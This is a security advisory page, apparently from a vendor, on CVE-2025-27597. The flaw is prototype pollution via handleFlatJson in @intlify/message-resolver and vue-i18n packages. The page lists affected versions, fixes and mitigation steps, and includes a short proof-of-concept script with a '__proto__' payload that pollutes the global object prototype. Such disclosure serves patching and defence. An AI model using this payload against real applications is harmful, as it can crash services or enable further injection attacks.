Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

CVE-2025-27597 — @intlify/message-resolver

Fix: intlify/vue-i18n@4bb6eac

CVE-2025-27597 is a security vulnerability in @intlify/message-resolver. A fix is available for @intlify/message-resolver — see the affected versions and patch details below.

Vue I18n Prototype Pollution in `handleFlatJson`

Also known asGHSA-p2ph-7g93-hw3m
Published
Mar 7, 2025
Updated
Aug 12, 2026
Affected
11 pkgs
Patched
11 / 11
Exploits
None indexed
Exploitation data as of Sep 24, 2026 · OSV.dev, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-27597.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs47th percentile — riskier than 47% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

11 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

2other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@intlify/message-resolvernpm
45Kdownloads / week
@intlify/vue-i18n-corenpm
5Kdownloads / week
petite-vue-i18nnpm
3Kdownloads / week

Description

Vulnerability type: Prototype Pollution

Vulnerability Location(s):

# v9.1
node_modules/@intlify/message-resolver/index.js

# v9.2 or later
node_modules/@intlify/vue-i18n-core/index.js

Description:

The latest version of @intlify/message-resolver (9.1) and @intlify/vue-i18n-core (9.2 or later), (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) handleFlatJson. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version
~$ npm install @intlify/[email protected]
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}
// poc.js
(async () => {
    const lib = await import('@intlify/message-resolver');
    var someObj = {}
    console.log("Before Attack: ", JSON.stringify({}.__proto__));
    try {
        // for multiple functions, uncomment only one for each execution.
        lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" })
    } catch (e) { }
    console.log("After Attack: ", JSON.stringify({}.__proto__));
    delete Object.prototype.pollutedKey;
})();

Affected Packages

11 total 11 fixed
EcosystemPackageVulnerable rangeFix
📦npm@intlify/message-resolver≥ 9.1.0&&< 9.1.119.1.11npm install @intlify/message-resolver@9.1.11
📦npm@intlify/vue-i18n-core≥ 9.2.0&&< 9.14.39.14.3npm install @intlify/vue-i18n-core@9.14.3
📦npmpetite-vue-i18n≥ 10.0.0&&< 10.0.610.0.6npm install petite-vue-i18n@10.0.6
📦npmvue-i18n≥ 9.1.0&&< 9.14.39.14.3npm install vue-i18n@9.14.3
📦npm@intlify/core-base≥ 9.1.0&&< 9.1.119.1.11npm install @intlify/core-base@9.1.11
📦npm@intlify/core≥ 9.1.0&&< 9.1.119.1.11npm install @intlify/core@9.1.11

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @intlify/message-resolver, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @intlify/message-resolver to 9.1.11 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-27597 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-27597 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2025-27597. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

**Vulnerability type:** Prototype Pollution **Vulnerability Location(s):** ```js # v9.1 node_modules/@intlify/message-resolver/index.js # v9.2 or later node_modules/@intlify/vue-i18n-core/index.js ``` **Description:** The latest version of `@intlify/message-resolver (9.1)` and `@intlify/vue-i18n-core (9.2 or later)`, (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) `handleFlatJson`. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of se
O3 Security · Impact-Aware SCA

Is CVE-2025-27597 in your dependencies?

O3 Security finds CVE-2025-27597 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2025-27597: @intlify/message DoS | O3 Security